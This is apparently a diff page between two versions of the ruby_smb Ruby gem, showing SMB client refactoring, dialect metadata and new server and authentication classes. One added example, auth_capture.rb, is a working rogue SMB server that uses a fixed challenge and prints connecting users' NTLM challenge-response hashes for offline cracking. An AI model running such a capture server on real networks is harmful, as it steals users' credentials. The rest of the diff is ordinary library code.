ruby_smb 2.0.8 → 2.0.12
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data/.github/workflows/verify.yml +5 -15
- data/examples/auth_capture.rb +71 -0
- data/lib/ruby_smb/client/negotiation.rb +9 -11
- data/lib/ruby_smb/client.rb +30 -25
- data/lib/ruby_smb/dialect.rb +45 -0
- data/lib/ruby_smb/dispatcher/base.rb +1 -1
- data/lib/ruby_smb/gss/provider/authenticator.rb +42 -0
- data/lib/ruby_smb/gss/provider/ntlm.rb +303 -0
- data/lib/ruby_smb/gss/provider.rb +35 -0
- data/lib/ruby_smb/gss.rb +56 -63
- data/lib/ruby_smb/ntlm.rb +45 -0
- data/lib/ruby_smb/server/server_client/negotiation.rb +156 -0
- data/lib/ruby_smb/server/server_client/session_setup.rb +82 -0
- data/lib/ruby_smb/server/server_client.rb +162 -0
- data/lib/ruby_smb/server.rb +54 -0
- data/lib/ruby_smb/signing.rb +59 -0
- data/lib/ruby_smb/smb1/packet/negotiate_response.rb +11 -11
- data/lib/ruby_smb/smb1/packet/negotiate_response_extended.rb +1 -1
- data/lib/ruby_smb/smb1/packet/session_setup_request.rb +1 -1
- data/lib/ruby_smb/smb1/tree.rb +1 -1
- data/lib/ruby_smb/smb2/negotiate_context.rb +18 -2
- data/lib/ruby_smb/smb2/packet/negotiate_request.rb +9 -0
- data/lib/ruby_smb/smb2/packet/negotiate_response.rb +0 -1
- data/lib/ruby_smb/smb2/packet/session_setup_response.rb +2 -2
- data/lib/ruby_smb/smb2/packet/tree_connect_request.rb +1 -1
- data/lib/ruby_smb/smb2/tree.rb +1 -1
- data/lib/ruby_smb/smb2.rb +3 -1
- data/lib/ruby_smb/version.rb +1 -1
- data/lib/ruby_smb.rb +2 -1
- data/spec/lib/ruby_smb/client_spec.rb +24 -16
- data/spec/lib/ruby_smb/gss/provider/ntlm/account_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/authenticator_spec.rb +101 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/os_version_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm_spec.rb +113 -0
- data/spec/lib/ruby_smb/server/server_client_spec.rb +156 -0
- data/spec/lib/ruby_smb/server_spec.rb +32 -0
- data/spec/lib/ruby_smb/smb1/tree_spec.rb +4 -4
- data/spec/lib/ruby_smb/smb2/negotiate_context_spec.rb +2 -2
- data/spec/lib/ruby_smb/smb2/tree_spec.rb +5 -5
- data.tar.gz.sig +0 -0
- metadata +25 -3
- metadata.gz.sig +0 -0
- data/lib/ruby_smb/client/signing.rb +0 -64
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: e390e96aa471e87e6406cf5b7eae77a4c45f882201f4132d3243eb25506554dc
|
4
|
+
data.tar.gz: 65620d67c3dbfbf2d3f795856c8da03207a8df32aa439a6f6a0b5d46b385dd31
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 0c252450305e217779de4c1bf6850fa55f12c95d6380795f6940c0451d33c64f1287ab13f6a373d1dcaa1752d399dac04fd0e358a49000335deba27d46ab8fc7
|
7
|
+
data.tar.gz: 2734dd65b1a84a03fdd914a6877640107caf6bcf561f3a41b769ef947e21276bc8759859ac4a36ba0b2ccfe15778ff06c234ff41dabf9ea4563a74a95ea1b891
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
@@ -10,7 +10,7 @@ on:
|
|
10
10
|
|
11
11
|
jobs:
|
12
12
|
test:
|
13
|
-
runs-on: ubuntu-
|
13
|
+
runs-on: ubuntu-18.04
|
14
14
|
timeout-minutes: 40
|
15
15
|
|
16
16
|
strategy:
|
@@ -20,6 +20,7 @@ jobs:
|
|
20
20
|
- 2.5
|
21
21
|
- 2.6
|
22
22
|
- 2.7
|
23
|
+
- 3.0
|
23
24
|
test_cmd:
|
24
25
|
- bundle exec rspec
|
25
26
|
|
@@ -31,23 +32,12 @@ jobs:
|
|
31
32
|
- name: Checkout code
|
32
33
|
uses: actions/checkout@v2
|
33
34
|
|
34
|
-
-
|
35
|
+
- name: Setup Ruby
|
36
|
+
uses: ruby/setup-ruby@v1
|
35
37
|
with:
|
36
38
|
ruby-version: ${{ matrix.ruby }}
|
39
|
+
bundler-cache: true
|
37
40
|
|
38
|
-
- name: Setup bundler
|
39
|
-
run: |
|
40
|
-
gem install bundler
|
41
|
-
- uses: actions/cache@v2
|
42
|
-
with:
|
43
|
-
path: vendor/bundle
|
44
|
-
key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
|
45
|
-
restore-keys: |
|
46
|
-
${{ runner.os }}-gems-
|
47
|
-
- name: Bundle install
|
48
|
-
run: |
|
49
|
-
bundle config path vendor/bundle
|
50
|
-
bundle install --jobs 4 --retry 3
|
51
41
|
- name: ${{ matrix.test_cmd }}
|
52
42
|
run: |
|
53
43
|
echo "${CMD}"
|
@@ -0,0 +1,71 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
|
3
|
+
require 'bundler/setup'
|
4
|
+
require 'ruby_smb'
|
5
|
+
require 'ruby_smb/gss/provider/ntlm'
|
6
|
+
|
7
|
+
# we just need *a* default encoding to handle the strings from the NTLM messages
|
8
|
+
Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
|
9
|
+
|
10
|
+
def bin_to_hex(s)
|
11
|
+
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
12
|
+
end
|
13
|
+
|
14
|
+
# this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
|
15
|
+
class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
|
16
|
+
class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
|
17
|
+
# override the NTLM type 3 process method to extract all of the valuable information
|
18
|
+
def process_ntlm_type3(type3_msg)
|
19
|
+
username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
|
20
|
+
_, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
|
21
|
+
|
22
|
+
hash_type = nil
|
23
|
+
hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
|
24
|
+
|
25
|
+
case type3_msg.ntlm_version
|
26
|
+
when :ntlmv1
|
27
|
+
hash_type = 'NTLMv1-SSP'
|
28
|
+
hash << ":#{bin_to_hex(type3_msg.lm_response)}"
|
29
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
|
30
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
31
|
+
when :ntlmv2
|
32
|
+
hash_type = 'NTLMv2-SSP'
|
33
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
34
|
+
# NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
|
35
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
|
36
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
|
37
|
+
end
|
38
|
+
|
39
|
+
unless hash_type.nil?
|
40
|
+
version = @server_client.metadialect.version_name
|
41
|
+
puts "[#{version}] #{hash_type} Client : #{client}"
|
42
|
+
puts "[#{version}] #{hash_type} Username : #{username}"
|
43
|
+
puts "[#{version}] #{hash_type} Hash : #{hash}"
|
44
|
+
end
|
45
|
+
|
46
|
+
WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def new_authenticator(server_client)
|
51
|
+
# build and return an instance that can process and track stateful information for a particular connection but
|
52
|
+
# that's backed by this particular provider
|
53
|
+
Authenticator.new(self, server_client)
|
54
|
+
end
|
55
|
+
|
56
|
+
# we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
|
57
|
+
def generate_server_challenge(&block)
|
58
|
+
"\x11\x22\x33\x44\x55\x66\x77\x88"
|
59
|
+
end
|
60
|
+
end
|
61
|
+
|
62
|
+
# define a new server with the custom authentication provider
|
63
|
+
server = RubySMB::Server.new(
|
64
|
+
gss_provider: HaxorNTLMProvider.new
|
65
|
+
)
|
66
|
+
puts "server is running"
|
67
|
+
server.run do
|
68
|
+
puts "received connection"
|
69
|
+
# accept all of the connections and run forever
|
70
|
+
true
|
71
|
+
end
|
@@ -57,15 +57,20 @@ module RubySMB
|
|
57
57
|
|
58
58
|
# Takes the raw response data from the server and tries
|
59
59
|
# parse it into a valid Response packet object.
|
60
|
-
# This method currently assumes that all SMB1 will use Extended Security.
|
61
60
|
#
|
62
61
|
# @param raw_data [String] the raw binary response from the server
|
63
62
|
# @return [RubySMB::SMB1::Packet::NegotiateResponseExtended] when the response is an SMB1 Extended Security Negotiate Response Packet
|
63
|
+
# @return [RubySMB::SMB1::Packet::NegotiateResponse] when the response is an SMB1 Negotiate Response Packet
|
64
64
|
# @return [RubySMB::SMB2::Packet::NegotiateResponse] when the response is an SMB2 Negotiate Response Packet
|
65
65
|
def negotiate_response(raw_data)
|
66
66
|
response = nil
|
67
67
|
if smb1
|
68
68
|
packet = RubySMB::SMB1::Packet::NegotiateResponseExtended.read raw_data
|
69
|
+
|
70
|
+
unless packet.valid?
|
71
|
+
packet = RubySMB::SMB1::Packet::NegotiateResponse.read raw_data
|
72
|
+
end
|
73
|
+
|
69
74
|
response = packet if packet.valid?
|
70
75
|
end
|
71
76
|
if (smb2 || smb3) && response.nil?
|
@@ -74,17 +79,10 @@ module RubySMB
|
|
74
79
|
end
|
75
80
|
if response.nil?
|
76
81
|
if packet.packet_smb_version == 'SMB1'
|
77
|
-
extended_security = if packet.is_a? RubySMB::SMB1::Packet::NegotiateResponseExtended
|
78
|
-
packet.parameter_block.capabilities.extended_security
|
79
|
-
else
|
80
|
-
"n/a"
|
81
|
-
end
|
82
82
|
raise RubySMB::Error::InvalidPacket.new(
|
83
83
|
expected_proto: RubySMB::SMB1::SMB_PROTOCOL_ID,
|
84
|
-
expected_cmd: RubySMB::SMB1::Packet::
|
85
|
-
|
86
|
-
packet: packet,
|
87
|
-
received_custom: "extended_security=#{extended_security}"
|
84
|
+
expected_cmd: RubySMB::SMB1::Packet::NegotiateResponse::COMMAND,
|
85
|
+
packet: packet
|
88
86
|
)
|
89
87
|
elsif packet.packet_smb_version == 'SMB2'
|
90
88
|
raise RubySMB::Error::InvalidPacket.new(
|
@@ -123,7 +121,7 @@ module RubySMB
|
|
123
121
|
'SMB1'
|
124
122
|
when RubySMB::SMB2::Packet::NegotiateResponse
|
125
123
|
self.smb1 = false
|
126
|
-
unless packet.dialect_revision.to_i ==
|
124
|
+
unless packet.dialect_revision.to_i == RubySMB::SMB2::SMB2_WILDCARD_REVISION
|
127
125
|
self.smb2 = packet.dialect_revision.to_i >= 0x0200 && packet.dialect_revision.to_i < 0x0300
|
128
126
|
self.smb3 = packet.dialect_revision.to_i >= 0x0300 && packet.dialect_revision.to_i < 0x0400
|
129
127
|
end
|
data/lib/ruby_smb/client.rb
CHANGED
@@ -2,18 +2,19 @@ module RubySMB
|
|
2
2
|
# Represents an SMB client capable of talking to SMB1 or SMB2 servers and handling
|
3
3
|
# all end-user client functionality.
|
4
4
|
class Client
|
5
|
+
require 'ruby_smb/ntlm'
|
6
|
+
require 'ruby_smb/signing'
|
5
7
|
require 'ruby_smb/client/negotiation'
|
6
8
|
require 'ruby_smb/client/authentication'
|
7
|
-
require 'ruby_smb/client/signing'
|
8
9
|
require 'ruby_smb/client/tree_connect'
|
9
10
|
require 'ruby_smb/client/echo'
|
10
11
|
require 'ruby_smb/client/utils'
|
11
12
|
require 'ruby_smb/client/winreg'
|
12
13
|
require 'ruby_smb/client/encryption'
|
13
14
|
|
15
|
+
include RubySMB::Signing
|
14
16
|
include RubySMB::Client::Negotiation
|
15
17
|
include RubySMB::Client::Authentication
|
16
|
-
include RubySMB::Client::Signing
|
17
18
|
include RubySMB::Client::TreeConnect
|
18
19
|
include RubySMB::Client::Echo
|
19
20
|
include RubySMB::Client::Utils
|
@@ -277,7 +278,8 @@ module RubySMB
|
|
277
278
|
# @param smb1 [Boolean] whether or not to enable SMB1 support
|
278
279
|
# @param smb2 [Boolean] whether or not to enable SMB2 support
|
279
280
|
# @param smb3 [Boolean] whether or not to enable SMB3 support
|
280
|
-
def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.',
|
281
|
+
def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.',
|
282
|
+
local_workstation: 'WORKSTATION', always_encrypt: true, ntlm_flags: default_flags)
|
281
283
|
raise ArgumentError, 'No Dispatcher provided' unless dispatcher.is_a? RubySMB::Dispatcher::Base
|
282
284
|
if smb1 == false && smb2 == false && smb3 == false
|
283
285
|
raise ArgumentError, 'You must enable at least one Protocol'
|
@@ -306,18 +308,12 @@ module RubySMB
|
|
306
308
|
# SMB 3.x options
|
307
309
|
@session_encrypt_data = always_encrypt
|
308
310
|
|
309
|
-
negotiate_version_flag = 0x02000000
|
310
|
-
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
311
|
-
Net::NTLM::FLAGS[:TARGET_INFO] |
|
312
|
-
negotiate_version_flag ^
|
313
|
-
Net::NTLM::FLAGS[:OEM]
|
314
|
-
|
315
311
|
@ntlm_client = Net::NTLM::Client.new(
|
316
312
|
@username,
|
317
313
|
@password,
|
318
314
|
workstation: @local_workstation,
|
319
315
|
domain: @domain,
|
320
|
-
flags:
|
316
|
+
flags: ntlm_flags
|
321
317
|
)
|
322
318
|
|
323
319
|
@tree_connects = []
|
@@ -368,31 +364,28 @@ module RubySMB
|
|
368
364
|
|
369
365
|
# Performs protocol negotiation and session setup. It defaults to using
|
370
366
|
# the credentials supplied during initialization, but can take a new set of credentials if needed.
|
371
|
-
def login(username: self.username, password: self.password,
|
367
|
+
def login(username: self.username, password: self.password,
|
368
|
+
domain: self.domain, local_workstation: self.local_workstation,
|
369
|
+
ntlm_flags: default_flags)
|
372
370
|
negotiate
|
373
|
-
session_setup(username, password, domain,
|
374
|
-
local_workstation: local_workstation
|
371
|
+
session_setup(username, password, domain,
|
372
|
+
local_workstation: local_workstation,
|
373
|
+
ntlm_flags: ntlm_flags)
|
375
374
|
end
|
376
375
|
|
377
376
|
def session_setup(user, pass, domain, do_recv=true,
|
378
|
-
local_workstation: self.local_workstation)
|
377
|
+
local_workstation: self.local_workstation, ntlm_flags: default_flags)
|
379
378
|
@domain = domain
|
380
379
|
@local_workstation = local_workstation
|
381
380
|
@password = pass.encode('utf-8') || ''.encode('utf-8')
|
382
381
|
@username = user.encode('utf-8') || ''.encode('utf-8')
|
383
382
|
|
384
|
-
negotiate_version_flag = 0x02000000
|
385
|
-
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
386
|
-
Net::NTLM::FLAGS[:TARGET_INFO] |
|
387
|
-
negotiate_version_flag ^
|
388
|
-
Net::NTLM::FLAGS[:OEM]
|
389
|
-
|
390
383
|
@ntlm_client = Net::NTLM::Client.new(
|
391
384
|
@username,
|
392
385
|
@password,
|
393
386
|
workstation: @local_workstation,
|
394
387
|
domain: @domain,
|
395
|
-
flags:
|
388
|
+
flags: ntlm_flags
|
396
389
|
)
|
397
390
|
|
398
391
|
authenticate
|
@@ -444,14 +437,14 @@ module RubySMB
|
|
444
437
|
when 'SMB1'
|
445
438
|
packet.smb_header.uid = self.user_id if self.user_id
|
446
439
|
packet.smb_header.pid_low = self.pid if self.pid
|
447
|
-
packet = smb1_sign(packet)
|
440
|
+
packet = smb1_sign(packet) if signing_required && !session_key.empty?
|
448
441
|
when 'SMB2'
|
449
442
|
packet = increment_smb_message_id(packet)
|
450
443
|
packet.smb2_header.session_id = session_id
|
451
|
-
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
|
452
|
-
if self.smb2
|
444
|
+
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) || session_key.empty?
|
445
|
+
if self.smb2 && signing_required
|
453
446
|
packet = smb2_sign(packet)
|
454
|
-
elsif self.smb3
|
447
|
+
elsif self.smb3 && (signing_required || packet.is_a?(RubySMB::SMB2::Packet::TreeConnectRequest))
|
455
448
|
packet = smb3_sign(packet)
|
456
449
|
end
|
457
450
|
end
|
@@ -654,5 +647,17 @@ module RubySMB
|
|
654
647
|
@preauth_integrity_hash_value + data.to_binary_s
|
655
648
|
)
|
656
649
|
end
|
650
|
+
|
651
|
+
private
|
652
|
+
|
653
|
+
def default_flags
|
654
|
+
negotiate_version_flag = 0x02000000
|
655
|
+
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
656
|
+
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
|
657
|
+
negotiate_version_flag ^
|
658
|
+
RubySMB::NTLM::NEGOTIATE_FLAGS[:OEM]
|
659
|
+
|
660
|
+
flags
|
661
|
+
end
|
657
662
|
end
|
658
663
|
end
|
@@ -0,0 +1,45 @@
|
|
1
|
+
module RubySMB
|
2
|
+
# Definitions that define metadata around a particular SMB dialect. This is useful for grouping dialects into a
|
3
|
+
# hierarchy as well as printing them as human readable strings with varying degrees of specificity.
|
4
|
+
module Dialect
|
5
|
+
# the order (taxonomic ranking) of the family, 2 and 3 are intentionally combined
|
6
|
+
ORDER_SMB1 = 'SMB1'.freeze
|
7
|
+
ORDER_SMB2 = 'SMB2'.freeze
|
8
|
+
|
9
|
+
# the family of the dialect
|
10
|
+
FAMILY_SMB1 = 'SMB 1'.freeze
|
11
|
+
FAMILY_SMB2 = 'SMB 2.x'.freeze
|
12
|
+
FAMILY_SMB3 = 'SMB 3.x'.freeze
|
13
|
+
|
14
|
+
# the major version of the dialect
|
15
|
+
VERSION_SMB1 = 'SMB v1'.freeze
|
16
|
+
VERSION_SMB2 = 'SMB v2'.freeze
|
17
|
+
VERSION_SMB3 = 'SMB v3'.freeze
|
18
|
+
|
19
|
+
# the names are meant to be human readable and may change in the future, use the #dialect, #order and #family
|
20
|
+
# attributes for any programmatic comparisons
|
21
|
+
Definition = Struct.new(:dialect, :order, :family, :version_name, :full_name) do
|
22
|
+
alias_method :short_name, :version_name
|
23
|
+
end
|
24
|
+
|
25
|
+
ALL = [
|
26
|
+
Definition.new('NT LM 0.12', ORDER_SMB1, FAMILY_SMB1, VERSION_SMB1, 'SMB v1 (NT LM 0.12)'.freeze),
|
27
|
+
Definition.new('0x0202', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.0.2'.freeze),
|
28
|
+
Definition.new('0x0210', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.1'.freeze),
|
29
|
+
Definition.new('0x02ff', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB 2.???'.freeze), # wildcard revision
|
30
|
+
Definition.new('0x0300', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0'.freeze),
|
31
|
+
Definition.new('0x0302', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0.2'.freeze),
|
32
|
+
Definition.new('0x0311', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.1.1'.freeze)
|
33
|
+
].map { |definition| [definition.dialect, definition] }.to_h
|
34
|
+
|
35
|
+
#
|
36
|
+
# Retrieve a dialect definition. The definition contains metadata describing the particular dialect.
|
37
|
+
#
|
38
|
+
# @param [Integer, String] dialect the dialect to retrieve the definition for
|
39
|
+
# @return [Definition, nil] the definition if it was found
|
40
|
+
def self.[](dialect)
|
41
|
+
dialect = '0x%04x' % dialect if dialect.is_a? Integer
|
42
|
+
ALL[dialect]
|
43
|
+
end
|
44
|
+
end
|
45
|
+
end
|
@@ -9,7 +9,7 @@ module RubySMB
|
|
9
9
|
def nbss(packet)
|
10
10
|
nbss = RubySMB::Nbss::SessionHeader.new
|
11
11
|
nbss.session_packet_type = RubySMB::Nbss::SESSION_MESSAGE
|
12
|
-
nbss.stream_protocol_length = packet.do_num_bytes
|
12
|
+
nbss.stream_protocol_length = packet.do_num_bytes.to_i
|
13
13
|
nbss.to_binary_s
|
14
14
|
end
|
15
15
|
|
@@ -0,0 +1,42 @@
|
|
1
|
+
module RubySMB
|
2
|
+
module Gss
|
3
|
+
module Provider
|
4
|
+
module Authenticator
|
5
|
+
#
|
6
|
+
# The base class for a GSS provider's unique authenticator. This provides a common interface and is not usable
|
7
|
+
# on it's own. The provider-specific authentication logic is defined within this authenticator class which
|
8
|
+
# actually runs the authentication routine.
|
9
|
+
#
|
10
|
+
class Base
|
11
|
+
# @param [Provider::Base] provider the GSS provider that this instance is an authenticator for
|
12
|
+
# @param server_client the client instance that this will be an authenticator for
|
13
|
+
def initialize(provider, server_client)
|
14
|
+
@provider = provider
|
15
|
+
@server_client = server_client
|
16
|
+
@session_key = nil
|
17
|
+
reset!
|
18
|
+
end
|
19
|
+
|
20
|
+
#
|
21
|
+
# Process a GSS authentication buffer. If no buffer is specified, the request is assumed to be the first in
|
22
|
+
# the negotiation sequence.
|
23
|
+
#
|
24
|
+
# @param [String, nil] buffer the request GSS request buffer that should be processed
|
25
|
+
# @return [Gss::Provider::Result] the result of the processed GSS request
|
26
|
+
def process(request_buffer=nil)
|
27
|
+
raise NotImplementedError
|
28
|
+
end
|
29
|
+
|
30
|
+
#
|
31
|
+
# Reset the authenticator's state, wiping anything related to a partial or complete authentication process.
|
32
|
+
#
|
33
|
+
def reset!
|
34
|
+
@session_key = nil
|
35
|
+
end
|
36
|
+
|
37
|
+
attr_accessor :session_key
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
end
|